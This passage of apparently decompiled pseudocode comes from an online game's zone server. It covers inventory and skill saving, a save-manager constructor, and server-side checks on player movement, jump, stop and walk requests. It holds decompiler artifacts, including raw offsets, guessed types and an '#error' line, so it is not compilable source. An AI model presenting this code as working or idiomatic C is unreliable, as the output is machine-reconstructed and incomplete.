&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveItem_Part"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = buf; v29 = 0; *(_BYTE *)(buf + 3) = 5; *(_BYTE *)(buf + 2) = 0; from = 0; bufa = ItemBag::ib_ItemCount_Output((ItemBag *)v3 + 8892); v5 = v4 + 4; do { *(_BYTE *)v5 = 0; v6 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v3 + 32200), (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 9, &from, 8000); if ( v6 < 0 ) { v11 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::so_SaveItem_Part : Char Inven Fail. will be disconnect."); DebugLogging::operator<<(v11, &deb_LF); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1464))(v3, 1676, 0, 0); goto LABEL_39; } if ( from >= bufa ) *(_BYTE *)(v4 + 2) |= 0x80u; v7 = v6 + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v6 + 7) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v7); } *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; } while ( from < bufa ); *(_BYTE *)(v4 + 3) = 8; *(_BYTE *)(v4 + 2) = 0; from = 0; bufb = ItemBag::ib_ItemCount_Output((ItemBag *)v3 + 8050); do { *(_BYTE *)v5 = 0; v9 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v3 + 32200), (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 8, &from, 8000); if ( v9 < 0 ) { v25 = &deb_LF; v24 = "ShineObjectClass::ShinePlayer::so_SaveItem_Part : Equip Inven Fail. will be disconnect."; LABEL_34: v20 = DebugLogging::operator<<(&MoreDisconnectLog, v24); DebugLogging::operator<<(v20, v25); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1464))(v3, 1676, 0, 0); --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 0; } if ( from >= bufb ) *(_BYTE *)(v4 + 2) |= 0x80u; v10 = v9 + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9 + 7) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v10); } v13 = from; *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; } while ( v13 < bufb ); *(_BYTE *)(v4 + 3) = 18; *(_BYTE *)(v4 + 2) = 0; from = 0; bufc = ItemBag::ib_ItemCount_Output((ItemBag *)v3 + 13215); do { *(_BYTE *)v5 = 0; v14 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v3 + 32200), (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 12, &from, 8000); if ( v14 < 0 ) { v25 = &deb_LF; v24 = "ShineObjectClass::ShinePlayer::so_SaveItem_Part : MiniHouse Skin Inven Fail. will be disconnect."; goto LABEL_34; } if ( from >= bufc ) *(_BYTE *)(v4 + 2) |= 0x80u; v15 = v14 + 7; *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14 + 7) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v15); } } while ( from < bufc ); v17 = (ItemSmallBag *)((char *)v3 + 56924); *(_BYTE *)(v4 + 3) = 34; *(_BYTE *)(v4 + 2) = 0; from = 0; bufd = ItemSmallBag::isb_ItemCount_Output(v17); while ( 1 ) { *(_BYTE *)v5 = 0; v18 = ItemSmallBag::isb_FullBufferItem2Server( v17, (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 15, &from, 8000); if ( v18 < 0 ) break; if ( from >= bufd ) *(_BYTE *)(v4 + 2) |= 0x80u; v19 = v18 + 7; *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v18 + 7) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v19); } if ( from >= bufd ) { --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 1; } } v23 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::so_SaveItem_Part : MiniHouse Skin Inven Fail. will be disconnect."); DebugLogging::operator<<(v23, &deb_LF); (*(void (__stdcall **)(signed int, _DWORD, _DWORD))(*(_DWORD *)v27 + 1464))(1676, 0, 0); LABEL_39: --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 0; } //----- (0043BB30) -------------------------------------------------------- void __thiscall WholeSaver::WholeSaver(WholeSaver *this) { WholeSaver *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 int v4; // edi@2 int v5; // edi@2 v1 = this; this->ws_savestorepoint.mask = 2047; this->ws_savestorepoint.value = 0; _eh_vector_constructor_iterator_( this->ws_savestore, 0x13520u, 2048, (void (__thiscall *)(void *))EventSaveCheck::EventSaveCheck, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959496)) = (unsigned int)&EventSaveCheck::_vftable_; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959535)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959531)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959527)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959559)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959555)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153959551)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153990616)) = (unsigned int)((char *)v1 + (_DWORD)((char *)&wholesaver + 153959608)); *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 154038628)) = (unsigned int)((char *)v1 + (_DWORD)((char *)&wholesaver + 153990620)); v2 = (int)&v1->ws_savestore[0].esc_abstate.pnt; v3 = 2048; do { v4 = *(_DWORD *)v2; *(_DWORD *)(v2 - 31114) = -1; *(_DWORD *)(v4 + 2) = -1; v5 = *(_DWORD *)(v2 + 48012); v2 += 79136; --v3; *(_DWORD *)(v5 + 2) = -1; } while ( v3 ); } // 5A0848: using guessed type int (*EventSaveCheck___vftable_)(); //----- (0043BBE0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_FillSaveBuffer(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *buf, int SkillSaveCheck) { CharaterSkillList *v3; // ebp@1 int v4; // edi@1 PROTO_NC_CHARSAVE_SKILL_REQ *v5; // esi@1 unsigned int v6; // eax@2 CharaterSkillList::CharSkill *v7; // ecx@3 unsigned int v8; // ebx@6 DebugLogging *v9; // eax@8 _iobuf *v10; // eax@10 int v11; // eax@12 int v12; // eax@12 int v13; // eax@12 DebugLogging *v14; // [sp+Ch] [bp-18h]@8 int cur; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v17; // [sp+20h] [bp-4h]@1 int bufa; // [sp+28h] [bp+4h]@1 v3 = this; _.fe_FunctionCode = "CharaterSkillList::csl_FillSaveBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_FillSaveBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v17 = 0; mysecond(&cur); v5 = buf; buf->number = 0; bufa = 0; if ( v3->csl_SkillNumber > 0 ) { v6 = clockwatch.cw_CurrTick; while ( 1 ) { v7 = v3->csl_Skill._Myfirst; if ( v7[v4].cs_EndOfCooltime > v6 ) break; if ( v7[v4].cs_bSave || SkillSaveCheck != 1 ) { v8 = 0; v7[v4].cs_bSave = 0; LABEL_12: *(_DWORD *)&v5[2 * v5->number + 1].handle.bufferlocation = cur; HIWORD(v5[2 * v5->number + 1].handle.chrregnum) = v3->csl_Skill._Myfirst[v4].cs_SkillId; *(_DWORD *)&v5[2 * v5->number + 1].number = v8; v11 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v11 ^= (*(_BYTE *)v11 ^ LOBYTE(v3->csl_Skill._Myfirst[v4].cs_Empower._bf0)) & 0xF; v12 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v12 = *(_BYTE *)v12 & 0xF | 16 * ((unsigned int)v3->csl_Skill._Myfirst[v4].cs_Empower._bf0 >> 4); BYTE1(v5[2 * v5->number + 2].handle.chrregnum) ^= (BYTE1(v5[2 * v5->number + 2].handle.chrregnum) ^ HIBYTE(v3->csl_Skill._Myfirst[v4].cs_Empower._bf0)) & 0xF; v13 = (int)((char *)&v5[2 * v5->number + 2].handle.chrregnum + 1); *(_BYTE *)v13 = *(_BYTE *)v13 & 0xF | 16 * ((unsigned __int16)v3->csl_Skill._Myfirst[v4].cs_Empower._bf0 >> 12); *(unsigned int *)((char *)&v5[2 * v5->number++ + 2].handle.chrregnum + 2) = v3->csl_Skill._Myfirst[v4].cs_Mastery; if ( 16 * (unsigned int)v5->number + 24 > 0x1F40 ) goto LABEL_15; v6 = clockwatch.cw_CurrTick; } ++v4; ++bufa; if ( bufa >= v3->csl_SkillNumber ) goto LABEL_15; } v8 = (v7[v4].cs_EndOfCooltime - v6) / 0xA; v7[v4].cs_bSave = 1; if ( (signed int)v8 > 10800 ) { v9 = DebugLogging::operator<<(&SkillCoolTimeLog, "CharaterSkillList::csl_FillSaveBuffer : Too long cooltime "); v14 = v9; if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v14->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } } goto LABEL_12; } LABEL_15: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0043BE20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveSkill(void *this, int buffer, int SkillSaveCheck) { void *v3; // esi@1 unsigned __int16 v4; // ax@1 int v5; // esi@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveSkill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveSkill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharaterSkillList::csl_FillSaveBuffer( (CharaterSkillList *)v3 + 3412, (PROTO_NC_CHARSAVE_SKILL_REQ *)buffer, SkillSaveCheck); v4 = *(_WORD *)(buffer + 6); if ( v4 ) v5 = 16 * v4 + 8; else v5 = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveSkill"); return v5; } //----- (0043BEE0) -------------------------------------------------------- char __thiscall MoveManager::mm_IsInReinforceMove(MoveManager *this) { char result; // al@2 if ( this->mm_fullTime_ms ) result = this->mm_state == 3; else result = 0; return result; } //----- (0043BF00) -------------------------------------------------------- void __thiscall BriefInfoBackup::bib_Backup(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape) { if ( !this->bib_Backuped ) { memcpy(this, shape, 0x2Fu); this->bib_Backuped = 1; } } //----- (0043BF30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMovePacket(int this, __int16 command, int packet) { int v3; // ecx@1 int result; // eax@1 *(_WORD *)(this + 102) = command; v3 = this + 104; *(_DWORD *)v3 = *(_DWORD *)packet; *(_DWORD *)(v3 + 4) = *(_DWORD *)(packet + 4); *(_DWORD *)(v3 + 8) = *(_DWORD *)(packet + 8); *(_DWORD *)(v3 + 12) = *(_DWORD *)(packet + 12); result = *(_DWORD *)(packet + 16); *(_DWORD *)(v3 + 16) = result; *(_WORD *)(v3 + 20) = *(_WORD *)(packet + 20); return result; } //----- (0043BF70) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(int this, int to) { char v2; // al@1 int v3; // edi@1 bool v4; // zf@1 v2 = MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)(this + 98) + 20), *(_DWORD *)to, *(_DWORD *)(to + 4), 1); v3 = (unsigned __int8)v2; v4 = v2 == 0; if ( !v2 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", *(_DWORD *)to, *(_DWORD *)(to + 4)); v4 = v3 == 0; } return !v4; } //----- (0043BFC0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(int this, int from) { int v2; // ecx@1 int v3; // eax@1 int v4; // ecx@1 v2 = *(_DWORD *)(this + 78); v3 = *(_DWORD *)v2; v4 = *(_DWORD *)(v2 + 4) - *(_DWORD *)(from + 4); return (unsigned int)((v3 - *(_DWORD *)from) * (v3 - *(_DWORD *)from) + v4 * v4) <= 0x9C40; } //----- (0043BFF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck(void *this, int pFrom, int nBlockCnt, int nMaxBlock) { unsigned int v4; // ebp@1 void *v5; // esi@1 int v6; // ecx@1 int v7; // eax@1 int v8; // edi@1 int v9; // edx@1 int v10; // ecx@3 int v11; // eax@3 int v12; // ebx@4 unsigned int v13; // edi@6 unsigned int v14; // edi@13 int v16; // eax@23 int v17; // ecx@23 int v18; // ebx@24 unsigned int v19; // edi@26 float v20; // [sp+10h] [bp-14h]@5 float v21; // [sp+10h] [bp-14h]@25 int nToY; // [sp+14h] [bp-10h]@1 unsigned int nToYa; // [sp+14h] [bp-10h]@5 unsigned int nToX; // [sp+18h] [bp-Ch]@1 unsigned int nToXa; // [sp+18h] [bp-Ch]@25 float v26; // [sp+1Ch] [bp-8h]@5 float v27; // [sp+1Ch] [bp-8h]@25 int pFroma; // [sp+28h] [bp+4h]@4 int pFromb; // [sp+28h] [bp+4h]@24 float nBlockCnta; // [sp+2Ch] [bp+8h]@5 float nBlockCntb; // [sp+2Ch] [bp+8h]@25 v4 = *(_DWORD *)nBlockCnt; v5 = this; v6 = *(_DWORD *)pFrom; v7 = *(_DWORD *)(pFrom + 4); v8 = *(_DWORD *)(pFrom + 4) - *(_DWORD *)(nBlockCnt + 4); nToY = *(_DWORD *)(nBlockCnt + 4); v9 = *(_DWORD *)(nBlockCnt + 4); nToX = *(_DWORD *)nBlockCnt; if ( (v6 - v4) * (v6 - v4) > v8 * v8 ) { if ( v6 > v4 ) { v10 = v4 ^ v6; v4 ^= v10; v11 = nToY ^ v7; v9 = v11 ^ nToY; v6 = v4 ^ v10; nToX = v4; v7 = v11 ^ nToY ^ v11; } v12 = v6 + 1; pFroma = 0; if ( v6 + 1 < v4 ) { nBlockCnta = (double)(unsigned int)v7; v20 = (double)(unsigned int)v6; nToYa = v6 - 9; v26 = ((double)(unsigned int)v9 - nBlockCnta) / ((double)v4 - v20); while ( 1 ) { v13 = (unsigned __int64)(((double)(unsigned int)v12 - v20) * v26 + nBlockCnta); if ( MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13, 1) ) goto LABEL_16; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", v12, v13); if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa + 20, v13) ) { if ( !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa + 20, v13) ) break; } if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa, v13) && !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa, v13) ) break; if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13 + 10) && !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13 + 10) ) break; v14 = v13 - 10; if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v14) ) { if ( !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v14) ) break; } ++pFroma; if ( pFroma >= nMaxBlock ) return 1; v4 = nToX; LABEL_17: ++v12; ++nToYa; if ( v12 >= v4 ) return 0; } v4 = nToX; LABEL_16: pFroma = 0; goto LABEL_17; } return 0; } if ( v7 == nToY ) return 0; if ( v7 > (unsigned int)v9 ) { v16 = nToY ^ v7; v9 = v16 ^ nToY; v17 = v4 ^ v6; v4 ^= v17; v7 = v16 ^ nToY ^ v16; nToY = v9; v6 = v4 ^ v17; } v18 = v7 + 1; pFromb = 0; if ( v7 + 1 >= (unsigned int)v9 ) return 0; v21 = (double)(unsigned int)v6; nBlockCntb = (double)(unsigned int)v7; nToXa = v7 - 9; v27 = ((double)v4 - v21) / ((double)(unsigned int)v9 - nBlockCntb); do { v19 = (unsigned __int64)(((double)(unsigned int)v18 - nBlockCntb) * v27 + v21); if ( !MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, v18, 1) && ((AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", v19, v18), MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 + 10, v18)) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 + 10, v18)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 - 10, v18) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 - 10, v18)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa + 20) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa + 20)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa)) ) { ++pFromb; if ( pFromb >= nMaxBlock ) return 1; } else { pFromb = 0; } ++v18; ++nToXa; } while ( v18 < (unsigned int)nToY ); return 0; } //----- (0043C3D0) -------------------------------------------------------- void __thiscall AxialListMobDistribute::_AxialListMobDistribute(AxialListMobDistribute *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobDistribute::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A0AAC: using guessed type int (__stdcall *AxialListMobDistribute___vftable_)(int, int, int distancesquar); //----- (0043C3E0) -------------------------------------------------------- #error "43C3E0: undefined or illegal type '#331' (funcsize=30)" //----- (0043C460) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@4 int v6; // ST04_4@4 int v7; // eax@4 int v8; // eax@4 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@4 int v10; // [sp+1Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S4_3 & 1) ) { _S4_3 |= 1u; cmc_15.cmc_AllowMode = 70; atexit(_E5_12); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_15.cmc_AllowMode ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8229; *((_WORD *)v5 + 1) = handle; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v10) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 0, 65535); v8 = *(_DWORD *)((char *)v4 + 32047) + 80; *(_WORD *)v8 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v8 + 2) = byte_1246F162; LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043C5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // edx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8266; v3 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"); } //----- (0043C6B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@9 int v6; // ecx@9 int v7; // eax@9 bool v8; // al@12 int v9; // edx@12 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v11; // [sp+14h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( !(_S6_61 & 1) ) { _S6_61 |= 1u; cmc_16.cmc_AllowMode = 70; atexit(_E7_37); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_16.cmc_AllowMode) ) goto LABEL_6; if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); return; } if ( *(_DWORD *)(v4 + 172) && *(_DWORD *)(v4 + 144) == 3 ) goto LABEL_11; v5 = netcmd + 2; MoveManager::mm_Step((MoveManager *)(v4 + 140), 1); v6 = *(_DWORD *)(v4 + 78); v7 = *(_DWORD *)(v6 + 4) - *(_DWORD *)(netcmd + 6); if ( (unsigned int)((*(_DWORD *)v6 - *(_DWORD *)v5) * (*(_DWORD *)v6 - *(_DWORD *)v5) + v7 * v7) > 0x9C40 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2804))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); LABEL_11: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); return; } v8 = ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v5); v9 = *(_DWORD *)v4; if ( v8 ) { (*(void (__thiscall **)(int))(v9 + 2528))(v4); } else { (*(void (__thiscall **)(int))(v9 + 2804))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); } v11 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0043C880) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@9 int v6; // edi@9 int v7; // ebp@9 char *v8; // eax@9 int v9; // edx@9 int v10; // ST04_4@9 int v11; // eax@9 int v12; // edx@9 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@9 int v14; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S8_13 & 1) ) { _S8_13 |= 1u; cmc_17.cmc_AllowMode = 70; atexit(_E9_10); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_17.cmc_AllowMode) || *((_BYTE *)v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) goto LABEL_8; if ( !*(_DWORD *)((char *)v4 + 98) ) { 